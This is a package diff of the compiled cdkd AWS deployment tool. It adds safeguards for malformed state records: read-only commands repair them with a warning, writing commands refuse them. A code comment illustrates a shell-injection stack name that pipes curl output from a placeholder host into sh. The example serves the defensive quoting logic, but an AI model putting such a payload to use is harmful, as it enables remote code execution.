@go-to-k/cdkd 0.290.5 → 0.290.7

package/dist/{program-D30EPjOn.js → program-Ckl60p0E.js}

@@ -1,8 +1,8 @@
-import { $ as secretSafeKeyDisplay, $n as isCrossRegionRedirect, $r as CdkdError, $t as applyRoleArnIfSet, A as planOrphanAdoption, An as forceQuitRecoveryClause, Ar as resolveStateBucketWithDefaultAndSource, At as isSettledInstanceState, B as formatResourceLine, Bn as shouldRetainResource, Br as expectedOwnerParam, Bt as readConfigString, C as createPreDeleteFinalSnapshot, Ci as isRetryableTransientError, Cn as redactSecretsForState, Cr as getDefaultStateBucketName, Ct as cfnRefValueFromPhysicalId, D as makeCanonicalizePropertiesFn, Di as markRedactedCause, Dn as rebuildClientForBucketRegion, Dr as resolveCaptureObservedState, Dt as isUnboundTemplateParameter, E as unsupportedFinalSnapshotError, Ei as markNonRetryable, En as S3StateBackend, Er as resolveAutoAssetStorage, Et as isImpossibleEmptyStoredAttribute, F as WARM_THROUGHPUT_MEMBERS, Fn as exportNamesCarriedFrom, Fr as CFN_TEMPLATE_URL_LIMIT, Ft as coerceCfnBoolean, G as red, Gn as createAssetRedirectResolver, Gr as processStackMessages, Gt as classifyReplaySecretRegion, H as cyan, Hn as stringifyValue, Hr as canonicalizeRegion, Ht as requireConfigArray, I as coerceWarmThroughput$1, In as importableOutputKeys, Ir as MIGRATE_TMP_PREFIX, It as coerceCfnInteger, J as collectPublishedOutputNames, Jn as AssetModeResolver, Jr as AwsClients, Jt as s3BucketArn, K as yellow, Kn as loadPublishableAssetManifest, Kt as producerRegionsFromState, L as isWarmThroughputDecrease, Ln as importableOutputs, Lr as findLargeInlineResources, Lt as configBooleanRefusal, M as isStatefulRecreateTargetForReplace, Mn as shellQuote, Mr as stateBucketExistenceConfirmed, Mt as normalizeAwsTagsToCfn, N as isStatefulRecreateTargetSync, Nn as CUSTOM_RESOURCE_RESPONSE_PREFIX, Nr as warnDeprecatedNoPrefixCliFlag, Nt as resolveExplicitPhysicalId, O as extractDeploymentEventError, Oi as retryClassificationText, On as buildForceUnlockCommand, Or as resolveSkipPrefix, Ot as parameterTypeMayLoseSecretIdentity, P as renderStatefulReason, Pn as DEFAULT_STATE_PREFIX, Pr as CFN_TEMPLATE_BODY_LIMIT, Pt as assertRegionMatch, Q as secretBearingStateKeyWarning, Qn as getBootstrapMarkerKey, Qt as s3BucketWebsiteUrl, R as toCfnInteger, Rn as orphansAfterRollback, Rr as uploadCfnTemplate, Rt as configIntegerRefusal, S as ccRoutedFinalSnapshotError, Si as isMarkedNonRetryable, Sn as recoverMaskedOutput, Sr as synthesisStatusMessage, St as carriesDynamicReference, T as refusesFinalSnapshot, Ti as isTransientServerError, Tn as LockManager, Tr as resolveApp, Tt as getAccountInfo, U as gray, Un as WorkGraph, Ur as derivePartitionAndUrlSuffix, Ut as requireConfigObject, V as bold, Vn as AssetPublisher, Vr as PARTITION_TABLE, Vt as replayWarn, W as green, Wn as buildAssetRedirectMap, Wr as AssemblyReader, Wt as requireConfigString, X as isExportAliasCollision, Xn as assertAssetBucketRegion, Xr as resetAwsClients, Xt as s3BucketDualStackDomainName, Y as exportAliasCollisionScrubWarning, Yn as BOOTSTRAP_MARKER_PREFIX, Yr as getAwsClients, Yt as s3BucketDomainName, Z as secretBearing, Zn as ensureAssetStorage, Zr as setAwsClients, Zt as s3BucketRegionalDomainName, _ as isSecretBearingReferenceString, _n as isSingleDynamicReferenceToken, _r as escapeRegExp, _t as deleteIndeterminateGuards, a as DeploymentEventsStore, ai as IntrinsicResolutionRefusalError, an as withRetry, ar as describeAwsFailure, at as wouldReturnToSdkProvider, b as PRE_DELETE_SNAPSHOT_TYPES, bi as normalizeAwsError, bn as maskSecretsInText, br as getDockerImageBySourceHash, bt as isTerminationProtectionPropagationError, c as replayFailedOperations, cn as STATE_SOURCED_BASELINE_RULES, cr as describeDockerExecFailure, ct as maskerOrIdentity, d as updatePartialReason, di as ProvisioningError, dn as TEMPLATE_SOURCED_RULES, dr as formatDockerLoginError, dt as interruptWatchListenerCount, en as DiffCalculator, er as parseBootstrapMarker, et as getCurrentResourceSecrets, f as withResourceDeadline, fi as ResourceTimeoutError, fn as carriesSecretMask, fr as getDockerCmd, ft as isInterruptedWaitError, g as bagHoldsSecretExpression, gn as identityKeyFor, gr as runDockerStreaming, gt as UNSPECIFIED_SKIP_REASON, h as computeImplicitDeleteEdges, hi as StackTerminationProtectionError, hn as errorCauseChain, hr as runDockerForeground, ht as slowCcOperationTimeoutMs, i as DeploymentEventsReader, ii as DynamicReferenceRegionAmbiguousError, in as describeTypeWithThrottleRetry, ir as buildDenyExternalAccessPolicy, it as ProviderRegistry, j as MULTI_REGION_RECREATE_BLOCKED_TYPES, jn as formatLockExpiry, jr as resolveUseCdkBootstrapAssets, jt as WAFv2WebACLProvider, k as makeSiblingClaimReader, kn as buildLockContentionMessage, kr as resolveStateBucketWithDefault, kt as refStateLookupFromResource, l as replayRollback, li as NestedStackChildDirectDestroyError, ln as STATE_SOURCED_CROSS_GENERATION_RULES, lr as describeDockerFailure, lt as beginCommandInterruptScope, m as IMPLICIT_DELETE_DEPENDENCIES, mi as StackHasActiveImportsError, mn as dynamicReferenceTokens, mr as redactDockerArgvValues, mt as CloudControlProvider, n as DEFAULT_RESOURCE_WARN_AFTER_MS, nn as findActionableSilentDrops, nr as validateAssetBucketName, nt as collectInlinePolicyNamesManagedBySiblings, o as planFailedOps, oi as LocalInvokeBuildError$1, on as DagBuilder, or as buildDockerImage, ot as createMaskedRetryLogger, p as maskingRetryLogger, pi as ResourceUpdateNotSupportedError, pn as createSecretMasker, pr as partitionSensitiveEnv, pt as startInterruptWatch, q as collectDeclaredOutputNames, qn as rewriteTemplateAssetReferences, qr as resolveBucketRegion, qt as withSharedDrainBudget, r as DeployEngine, ri as DeployCancelledError, rn as findSilentDropProperties, rr as validateContainerRepoName, rt as clearOnUpdateRemoval, s as planRollback, si as LocalStartServiceError, sn as TemplateParser, sr as describeDockerCapturedOutput, st as maskDeep, t as DEFAULT_RESOURCE_TIMEOUT_MS, ti as CrossAccountSecretRefusalError, tn as INTRINSIC_KEYS, tr as readBootstrapMarkerBody, tt as IAMRoleProvider, u as updatePartialMessage, ui as PartialFailureError, un as STATE_SOURCED_READBACK_RULES, ur as dockerSpawnEnvWithSensitive, ut as endCommandInterruptScope, v as bindingSkippedOutputs, vn as markSameGenerationBag, vr as stripControlChars, vt as deleteSkipReason, w as isFinalSnapshotError, wi as isThrottlingError, wn as scrubResourceRecord, wr as getLegacyStateBucketName, wt as coerceParameterTypedValue, x as buildFinalSnapshotIdentifier, xi as withErrorHandling, xn as recordMaskOnlyValue, xr as Synthesizer, xt as IntrinsicFunctionResolver, y as ATOMIC_FINAL_SNAPSHOT_TYPES, yn as maskSecretsInError, yr as AssetManifestLoader, yt as disableInstanceApiTermination, z as toFiniteNumber, zn as orphansCarriedFrom, zr as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, zt as configStringRefusal } from "./deploy-engine-WFO9o9M0.js";
+import { $ as secretSafeKeyDisplay, $n as isCrossRegionRedirect, $r as CdkdError, $t as applyRoleArnIfSet, A as planOrphanAdoption, An as forceQuitRecoveryClause, Ar as resolveStateBucketWithDefaultAndSource, At as isSettledInstanceState, B as formatResourceLine, Bn as shouldRetainResource, Br as expectedOwnerParam, Bt as readConfigString, C as createPreDeleteFinalSnapshot, Ci as isRetryableTransientError, Cn as redactSecretsForState, Cr as getDefaultStateBucketName, Ct as cfnRefValueFromPhysicalId, D as makeCanonicalizePropertiesFn, Di as markRedactedCause, Dn as rebuildClientForBucketRegion, Dr as resolveCaptureObservedState, Dt as isUnboundTemplateParameter, E as unsupportedFinalSnapshotError, Ei as markNonRetryable, En as S3StateBackend, Er as resolveAutoAssetStorage, Et as isImpossibleEmptyStoredAttribute, F as WARM_THROUGHPUT_MEMBERS, Fn as exportNamesCarriedFrom, Fr as CFN_TEMPLATE_URL_LIMIT, Ft as coerceCfnBoolean, G as red, Gn as createAssetRedirectResolver, Gr as processStackMessages, Gt as classifyReplaySecretRegion, H as cyan, Hn as stringifyValue, Hr as canonicalizeRegion, Ht as requireConfigArray, I as coerceWarmThroughput$1, In as importableOutputKeys, Ir as MIGRATE_TMP_PREFIX, It as coerceCfnInteger, J as collectPublishedOutputNames, Jn as AssetModeResolver, Jr as AwsClients, Jt as s3BucketArn, K as yellow, Kn as loadPublishableAssetManifest, Kt as producerRegionsFromState, L as isWarmThroughputDecrease, Ln as importableOutputs, Lr as findLargeInlineResources, Lt as configBooleanRefusal, M as isStatefulRecreateTargetForReplace, Mn as shellQuote, Mr as stateBucketExistenceConfirmed, Mt as normalizeAwsTagsToCfn, N as isStatefulRecreateTargetSync, Nn as CUSTOM_RESOURCE_RESPONSE_PREFIX, Nr as warnDeprecatedNoPrefixCliFlag, Nt as resolveExplicitPhysicalId, O as extractDeploymentEventError, Oi as retryClassificationText, On as buildForceUnlockCommand, Or as resolveSkipPrefix, Ot as parameterTypeMayLoseSecretIdentity, P as renderStatefulReason, Pn as DEFAULT_STATE_PREFIX, Pr as CFN_TEMPLATE_BODY_LIMIT, Pt as assertRegionMatch, Q as secretBearingStateKeyWarning, Qn as getBootstrapMarkerKey, Qt as s3BucketWebsiteUrl, R as toCfnInteger, Rn as orphansAfterRollback, Rr as uploadCfnTemplate, Rt as configIntegerRefusal, S as ccRoutedFinalSnapshotError, Si as isMarkedNonRetryable, Sn as recoverMaskedOutput, Sr as synthesisStatusMessage, St as carriesDynamicReference, T as refusesFinalSnapshot, Ti as isTransientServerError, Tn as LockManager, Tr as resolveApp, Tt as getAccountInfo, U as gray, Un as WorkGraph, Ur as derivePartitionAndUrlSuffix, Ut as requireConfigObject, V as bold, Vn as AssetPublisher, Vr as PARTITION_TABLE, Vt as replayWarn, W as green, Wn as buildAssetRedirectMap, Wr as AssemblyReader, Wt as requireConfigString, X as isExportAliasCollision, Xn as assertAssetBucketRegion, Xr as resetAwsClients, Xt as s3BucketDualStackDomainName, Y as exportAliasCollisionScrubWarning, Yn as BOOTSTRAP_MARKER_PREFIX, Yr as getAwsClients, Yt as s3BucketDomainName, Z as secretBearing, Zn as ensureAssetStorage, Zr as setAwsClients, Zt as s3BucketRegionalDomainName, _ as isSecretBearingReferenceString, _n as isSingleDynamicReferenceToken, _r as escapeRegExp, _t as deleteIndeterminateGuards, a as DeploymentEventsStore, ai as IntrinsicResolutionRefusalError, an as withRetry, ar as describeAwsFailure, at as wouldReturnToSdkProvider, b as PRE_DELETE_SNAPSHOT_TYPES, bi as normalizeAwsError, bn as maskSecretsInText, br as getDockerImageBySourceHash, bt as isTerminationProtectionPropagationError, c as replayFailedOperations, cn as STATE_SOURCED_BASELINE_RULES, cr as describeDockerExecFailure, ct as maskerOrIdentity, d as updatePartialReason, di as ProvisioningError, dn as TEMPLATE_SOURCED_RULES, dr as formatDockerLoginError, dt as interruptWatchListenerCount, en as DiffCalculator, er as parseBootstrapMarker, et as getCurrentResourceSecrets, f as withResourceDeadline, fi as ResourceTimeoutError, fn as carriesSecretMask, fr as getDockerCmd, ft as isInterruptedWaitError, g as bagHoldsSecretExpression, gn as identityKeyFor, gr as runDockerStreaming, gt as UNSPECIFIED_SKIP_REASON, h as computeImplicitDeleteEdges, hi as StackTerminationProtectionError, hn as errorCauseChain, hr as runDockerForeground, ht as slowCcOperationTimeoutMs, i as DeploymentEventsReader, ii as DynamicReferenceRegionAmbiguousError, in as describeTypeWithThrottleRetry, ir as buildDenyExternalAccessPolicy, it as ProviderRegistry, j as MULTI_REGION_RECREATE_BLOCKED_TYPES, jn as formatLockExpiry, jr as resolveUseCdkBootstrapAssets, jt as WAFv2WebACLProvider, k as makeSiblingClaimReader, kn as buildLockContentionMessage, kr as resolveStateBucketWithDefault, kt as refStateLookupFromResource, l as replayRollback, li as NestedStackChildDirectDestroyError, ln as STATE_SOURCED_CROSS_GENERATION_RULES, lr as describeDockerFailure, lt as beginCommandInterruptScope, m as IMPLICIT_DELETE_DEPENDENCIES, mi as StackHasActiveImportsError, mn as dynamicReferenceTokens, mr as redactDockerArgvValues, mt as CloudControlProvider, n as DEFAULT_RESOURCE_WARN_AFTER_MS, nn as findActionableSilentDrops, nr as validateAssetBucketName, nt as collectInlinePolicyNamesManagedBySiblings, o as planFailedOps, oi as LocalInvokeBuildError$1, on as DagBuilder, or as buildDockerImage, ot as createMaskedRetryLogger, p as maskingRetryLogger, pi as ResourceUpdateNotSupportedError, pn as createSecretMasker, pr as partitionSensitiveEnv, pt as startInterruptWatch, q as collectDeclaredOutputNames, qn as rewriteTemplateAssetReferences, qr as resolveBucketRegion, qt as withSharedDrainBudget, r as DeployEngine, ri as DeployCancelledError, rn as findSilentDropProperties, rr as validateContainerRepoName, rt as clearOnUpdateRemoval, s as planRollback, si as LocalStartServiceError, sn as TemplateParser, sr as describeDockerCapturedOutput, st as maskDeep, t as DEFAULT_RESOURCE_TIMEOUT_MS, ti as CrossAccountSecretRefusalError, tn as INTRINSIC_KEYS, tr as readBootstrapMarkerBody, tt as IAMRoleProvider, u as updatePartialMessage, ui as PartialFailureError, un as STATE_SOURCED_READBACK_RULES, ur as dockerSpawnEnvWithSensitive, ut as endCommandInterruptScope, v as bindingSkippedOutputs, vn as markSameGenerationBag, vr as stripControlChars, vt as deleteSkipReason, w as isFinalSnapshotError, wi as isThrottlingError, wn as scrubResourceRecord, wr as getLegacyStateBucketName, wt as coerceParameterTypedValue, x as buildFinalSnapshotIdentifier, xi as withErrorHandling, xn as recordMaskOnlyValue, xr as Synthesizer, xt as IntrinsicFunctionResolver, y as ATOMIC_FINAL_SNAPSHOT_TYPES, yn as maskSecretsInError, yr as AssetManifestLoader, yt as disableInstanceApiTermination, z as toFiniteNumber, zn as orphansCarriedFrom, zr as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, zt as configStringRefusal } from "./deploy-engine-BMp4b4Vl.js";
 import { S as truncateCodePoints, _ as withSkipPrefix, b as displayIdent, c as PATTERN_B_NAME_OPTIONS, f as explicitNamePropertyFor, h as getCurrentStackName, i as reserveStdoutForPayload, l as PATTERN_B_NAME_PROPERTIES, m as generateResourceNameWithFallback, n as getLogger, o as runStackBuffered, p as generateResourceName, s as getLiveRenderer, u as PATTERN_B_RESOURCE_TYPES, v as withStackName, x as displaySafe, y as UNRENDERABLE } from "./logger-th1myfgh.js";
 import { t as awsClientDefaults } from "./aws-client-defaults-D-iYiIJ6.js";
-import { t as getCdkdVersion } from "./version-BBIkp8ja.js";
-import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-DU7mN-cS.js";
+import { t as getCdkdVersion } from "./version-XcHj8rQZ.js";
+import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-JRuQeFtl.js";
 import { AsyncLocalStorage } from "node:async_hooks";
 import { createHash, randomBytes, randomUUID } from "node:crypto";
 import { CopyObjectCommand, CreateBucketCommand, DeleteBucketAnalyticsConfigurationCommand, DeleteBucketCommand, DeleteBucketCorsCommand, DeleteBucketEncryptionCommand, DeleteBucketIntelligentTieringConfigurationCommand, DeleteBucketInventoryConfigurationCommand, DeleteBucketLifecycleCommand, DeleteBucketMetricsConfigurationCommand, DeleteBucketOwnershipControlsCommand, DeleteBucketPolicyCommand, DeleteBucketReplicationCommand, DeleteBucketTaggingCommand, DeleteBucketWebsiteCommand, DeleteObjectsCommand, GetBucketAccelerateConfigurationCommand, GetBucketCorsCommand, GetBucketEncryptionCommand, GetBucketLifecycleConfigurationCommand, GetBucketLocationCommand, GetBucketLoggingCommand, GetBucketNotificationConfigurationCommand, GetBucketOwnershipControlsCommand, GetBucketPolicyCommand, GetBucketReplicationCommand, GetBucketTaggingCommand, GetBucketVersioningCommand, GetBucketWebsiteCommand, GetObjectCommand, GetObjectLockConfigurationCommand, GetPublicAccessBlockCommand, HeadBucketCommand, ListBucketAnalyticsConfigurationsCommand, ListBucketIntelligentTieringConfigurationsCommand, ListBucketInventoryConfigurationsCommand, ListBucketMetricsConfigurationsCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchBucket, NotFound, PutBucketAccelerateConfigurationCommand, PutBucketAnalyticsConfigurationCommand, PutBucketCorsCommand, PutBucketEncryptionCommand, PutBucketIntelligentTieringConfigurationCommand, PutBucketInventoryConfigurationCommand, PutBucketLifecycleConfigurationCommand, PutBucketLoggingCommand, PutBucketMetricsConfigurationCommand, PutBucketNotificationConfigurationCommand, PutBucketOwnershipControlsCommand, PutBucketPolicyCommand, PutBucketReplicationCommand, PutBucketTaggingCommand, PutBucketVersioningCommand, PutBucketWebsiteCommand, PutObjectCommand, PutObjectLockConfigurationCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
@@ -65348,6 +65348,145 @@ function isStackNotFoundError(err) {
 	return name === "ValidationError" && /does not exist/i.test(message);
 }
 
+//#endregion
+//#region src/state/malformed-resources-bag.ts
+/** The error code every malformed-record refusal carries, whatever its class. */
+const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
+/**
+* Answer the ONE question both helpers below key on: can this record's
+* resource map be read at all?
+*
+* Widened past `null` / `undefined` because the message says "no readable
+* resources map" and a hand-edited record does not stop at those two: a
+* `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
+* empty or, for the string, absurd — repaired silently and warned about
+* nowhere. The predicate is the plain-object test the bag's own type implies.
+*/
+function hasReadableResources(state) {
+	const bag = state.resources;
+	return typeof bag === "object" && bag !== null && !Array.isArray(bag);
+}
+/**
+* The shared explanation, in the terms the reader needs: what is wrong, what
+* to look at, and what NOT to do next.
+*
+* Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
+* emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
+* `.claude/rules/layout-state-types.md` require of any suggestion a user is
+* meant to paste, for two separate reasons.
+*
+* Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
+* printable-ASCII allowlist, so it removes the line- and escape-forgery class
+* but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
+* trusted here, since a stack name reaches the cross-stack read path from an
+* `Fn::GetStackOutput` argument or an S3 key. A name spelled
+* `a'; curl http://x|sh; echo '` would close the quoting and append its own
+* command to the line this text tells the user to RUN.
+*
+* Wrapping the command in `'...'` is not enough either, and is what makes the
+* two compose badly: `shellQuote` does its own quoting, so an outer wrapper
+* produces something unpastable. Hence unwrapped and last.
+*
+* An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
+* nothing — an empty argument makes `--stack-region` swallow the next flag,
+* turning a remedy into a differently-broken command.
+*/
+function safeIdentifier(value) {
+	const safe = displaySafe(value, { asciiOnly: true });
+	if (!safe) return UNRENDERABLE;
+	const { text, truncated } = truncateCodePoints(safe, 128);
+	return truncated ? `${text}...` : text;
+}
+function malformedStateDetail(stackName, region) {
+	const stack = safeIdentifier(stackName);
+	const reg = safeIdentifier(region);
+	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/**
+* For a READ-ONLY command: give the record an empty resource bag so the
+* command can report on it, and say so (issue go-to-k/cdkd#3018).
+*
+* `parseStateBody` deliberately does not validate the inner shape, so a
+* hand-edited or truncated record reaches a command with `resources` absent,
+* `null`, or some other non-object. Every such command then died on a raw
+* `TypeError` from the first `Object.keys` / `in` / index read — the exact
+* wording differs per shape (`Cannot convert undefined or null to object`,
+* `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
+* them names a stack, a key or a remedy, from exactly the commands a user
+* reaches for WHEN the state is broken.
+*
+* WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
+* the twelve `Object.entries(state.resources)` loops, which was inert: every
+* one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
+* `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
+* happened one line up and the guards only made it look handled. One call per
+* load dominates the whole flow behind it, including the helpers that take the
+* state as a parameter (`orphan-rewriter`, `diff-calculator`,
+* `collectCcApiRoutes`).
+*
+* Mutates in place and returns whether it repaired anything; the caller warns
+* on `true`. A silent repair is its own defect — an empty resource set is
+* indistinguishable from a healthy empty stack in every later line of output,
+* so `No changes detected` over an unreadable record is a clean verdict about
+* nothing.
+*
+* **Only for a command that cannot WRITE state.** Anything that can persist
+* uses {@link refuseMalformedState} instead; see its note.
+*/
+function repairMalformedResourcesForReadOnly(state) {
+	if (hasReadableResources(state)) return false;
+	state.resources = {};
+	return true;
+}
+/**
+* The refusal TEXT, for a command whose own exit-code contract means this
+* cannot be a plain `CdkdError`.
+*
+* `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
+* plaintext") and every one of its refusals carries `exitCode = 2`, because a
+* CI gate reading the code alone must be able to tell "scrub looked and found
+* a leak" from "scrub refused to look" — the two call for opposite responses.
+* So scrub tests {@link hasReadableResources} and raises its own class around
+* this text rather than calling {@link refuseMalformedState}.
+*
+* The other three refusing commands do NOT share that need, and giving them a
+* single shared code would be wrong in the other direction: `cdkd rollback`
+* documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
+* would tell an operator to re-run a command that attempted nothing.
+*/
+function malformedStateRefusalMessage(stackName, region) {
+	return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
+}
+/** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
+function malformedResourcesWarning(stackName, region) {
+	return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
+}
+/**
+* For a command that can WRITE state: refuse the record by name instead of
+* repairing it.
+*
+* Repairing is actively DANGEROUS here, and the PR that introduced this module
+* shipped that danger for one round before its security review caught it.
+* `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
+* change alone satisfies — so a record holding `"resources": null` and a
+* plaintext secret in `outputs` would be scrubbed, and then saved back with a
+* repaired, WELL-FORMED `resources: {}`. The malformed record is the only
+* signal that anything is wrong; laundering it into a legitimate-looking empty
+* one is permanent and silent. The next `cdkd deploy` then reads zero resources
+* and CREATES the whole stack a second time, and the next `cdkd destroy`
+* deletes nothing and orphans every live resource — and the one-shot warning
+* that would have said so is long gone, quite possibly for a different
+* operator. `cdkd import --force` launders it the same way.
+*
+* Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
+* this names the stack, the region, the defect and the remedy, and exits on a
+* code rather than on a stack trace.
+*/
+function refuseMalformedState(state, stackName, region) {
+	if (hasReadableResources(state)) return;
+	throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
+}
+
 //#endregion
 //#region src/cli/commands/diff-recursive.ts
 /**
@@ -65468,7 +65607,10 @@ function indexNestedChildTemplates(template, templatePath) {
 /** Load a stack's cdkd state, or synthesize an empty record (→ all CREATE) when none exists. */
 async function loadStateOrEmpty(stackName, region, stateBackend) {
 	const result = await stateBackend.getState(stackName, region);
-	if (result) return result.state;
+	if (result) {
+		if (repairMalformedResourcesForReadOnly(result.state)) logger.warn(malformedResourcesWarning(stackName, region));
+		return result.state;
+	}
 	return {
 		stackName,
 		region,
@@ -65777,7 +65919,7 @@ async function buildDiffTree(args) {
 			parentHasSecretReference: secretBearingAbove
 		}));
 	}
-	for (const [logicalId, resource] of Object.entries(state.resources)) {
+	for (const [logicalId, resource] of Object.entries(state.resources ?? {})) {
 		if (resource.resourceType !== "AWS::CloudFormation::Stack") continue;
 		if (templateChildIds.has(logicalId)) continue;
 		node.children.push(await buildDeletedSubtree(`${stackName}~${logicalId}`, region, stateBackend, diffCalculator, secretBearingAbove));
@@ -65804,7 +65946,7 @@ async function buildDeletedSubtree(stackName, region, stateBackend, diffCalculat
 		outputChanges,
 		children: []
 	};
-	for (const [logicalId, resource] of Object.entries(state.resources)) {
+	for (const [logicalId, resource] of Object.entries(state.resources ?? {})) {
 		if (resource.resourceType !== "AWS::CloudFormation::Stack") continue;
 		node.children.push(await buildDeletedSubtree(`${stackName}~${logicalId}`, region, stateBackend, diffCalculator, parentHasSecretReference));
 	}
@@ -66294,7 +66436,7 @@ async function diffCommand(stacks, options) {
 		const previewOrphanAdoption = async (state, effectiveTemplate, orphanStackName, orphanRegion) => {
 			const outcome = await planOrphanAdoption({
 				records: state.orphans ?? [],
-				managedLogicalIds: new Set(Object.keys(state.resources)),
+				managedLogicalIds: new Set(Object.keys(state.resources ?? {})),
 				template: effectiveTemplate,
 				stackName: orphanStackName,
 				region: orphanRegion,
@@ -66735,6 +66877,12 @@ async function scrubCommand(stacks, options) {
 	let totalStacksScrubbed = 0;
 	let totalStacksWithUnscrubbableKeys = 0;
 	let totalStacksWithUnverifiableReads = 0;
+	/**
+	* Stacks this `--dry-run` proceeded over with an UNREADABLE resources map
+	* (issue go-to-k/cdkd#3018). Tracked exactly like `indexUnreadable`: an
+	* audit this run could not perform is a FINDING, never a clean result.
+	*/
+	const malformedRecords = [];
 	const failures = [];
 	const exportIndexStores = /* @__PURE__ */ new Map();
 	const exportIndexFor = (indexRegion) => {
@@ -66811,6 +66959,7 @@ async function scrubCommand(stacks, options) {
 			totalStacksScrubbed++;
 			logger.info(`${options.dryRun ? "Would scrub" : "Scrubbed"} ${scrubbed.recordsChanged} resource record(s) in ${stack.stackName}`);
 		} else if (scrubbed.secretBearingKeys === 0 && scrubbed.unverifiableReads === 0 && indexConverged === 0) logger.info(`No plaintext secrets found in ${stack.stackName}`);
+		if (scrubbed.malformedResources) malformedRecords.push(stack.stackName);
 		if (scrubbed.unverifiableReads > 0) {
 			totalStacksWithUnverifiableReads++;
 			logger.warn(`${scrubbed.unverifiableReads} cross-stack read(s) in ${stack.stackName} could NOT be verified — cdkd declines them by design (see the warnings above), so this stack is not reported clean.`);
@@ -66841,7 +66990,7 @@ async function scrubCommand(stacks, options) {
 		totalIndexEntriesUnexamined += unexamined.length;
 		logger.info(`Exports index (${indexRegion}): ${unexamined.length} entr${unexamined.length === 1 ? "y is" : "ies are"} published by a producer this run did not scrub, so nothing here read ${unexamined.length === 1 ? "its" : "their"} value. Coverage composes across the apps sharing this bucket and region — run each app's own cdkd scrub to reach its entries.`);
 	}
-	if (totalStacksScrubbed === 0 && totalStacksWithUnscrubbableKeys === 0 && totalStacksWithUnverifiableReads === 0 && totalIndexEntriesConverged === 0 && indexUnwritten.length === 0 && indexUnreadable.length === 0) {
+	if (totalStacksScrubbed === 0 && totalStacksWithUnscrubbableKeys === 0 && totalStacksWithUnverifiableReads === 0 && totalIndexEntriesConverged === 0 && indexUnwritten.length === 0 && indexUnreadable.length === 0 && malformedRecords.length === 0) {
 		if (failures.length === 0) {
 			logger.info("\nNo plaintext secrets found in any target stack state. Nothing to scrub.");
 			return;
@@ -66864,6 +67013,7 @@ async function scrubCommand(stacks, options) {
 		else logger.info(`\nPlan: no state record can be rewritten.${keyNote}${unverifiableNote}${indexNote}${failureNote} ROTATE any exposed secret.`);
 		if (failures.length > 0) throw scrubStacksFailedError(failures);
 		if (indexUnwritten.length > 0 || indexUnreadable.length > 0) throw exportIndexIncompleteError(indexUnwritten, indexUnreadable, true);
+		if (malformedRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords);
 		if (options.fail) throw new ScrubNeededError();
 		return;
 	}
@@ -66871,6 +67021,7 @@ async function scrubCommand(stacks, options) {
 	else logger.info(`\nNo state record was rewritten.${keyNote}${unverifiableNote}${indexNote}${failureNote} ROTATE any exposed secret.`);
 	if (failures.length > 0) throw scrubStacksFailedError(failures);
 	if (indexUnwritten.length > 0 || indexUnreadable.length > 0) throw exportIndexIncompleteError(indexUnwritten, indexUnreadable, false);
+	if (malformedRecords.length > 0) throw malformedRecordsAuditedError(malformedRecords);
 	if (options.fail && (totalStacksWithUnscrubbableKeys > 0 || totalStacksWithUnverifiableReads > 0)) throw new ScrubNeededError();
 }
 /**
@@ -67461,6 +67612,19 @@ function orderScrubTargets(targets) {
 * through the real backend, so the read-modify-write still sees S3 rather than
 * a cache, and its ETag precondition still means what it says.
 */
+/**
+* The finding a `--dry-run` raises for a record whose resources map it could
+* not read (issue go-to-k/cdkd#3018).
+*
+* `ScrubRefusalError`, so it carries scrub's exit **2**: `1` means "--fail
+* looked and found a leak -- rotate the secret", and this is the opposite
+* remedy ("repair the record and re-run"). Without it the run exits 0, or 1
+* under `--fail` via the SILENT `ScrubNeededError`, whose suppression would
+* also swallow this text.
+*/
+function malformedRecordsAuditedError(stackNames) {
+	return new ScrubRefusalError(`${stackNames.length} stack(s) were audited with an EMPTY resource set because their state record has no readable 'resources' map: ${stackNames.join(", ")}. The report above describes their outputs only — nothing is known about their resources, so this run cannot certify them clean. See the warnings above for the record to inspect.`, STATE_RESOURCES_MALFORMED);
+}
 function memoizeCrossStackStateReads(backend) {
 	const view = Object.create(backend);
 	let listed;
@@ -68068,6 +68232,80 @@ function isRegionAmbiguousRefusal(err) {
 	return err instanceof Error && errorCauseChain(err).some((link) => link instanceof DynamicReferenceRegionAmbiguousError);
 }
 /**
+* The marker the resolver's NAMELESS-dynamic-reference throw carries
+* (`Dynamic reference: <service> PARAMETER_NAME is required`).
+*
+* Pinned against the resolver's own literal by
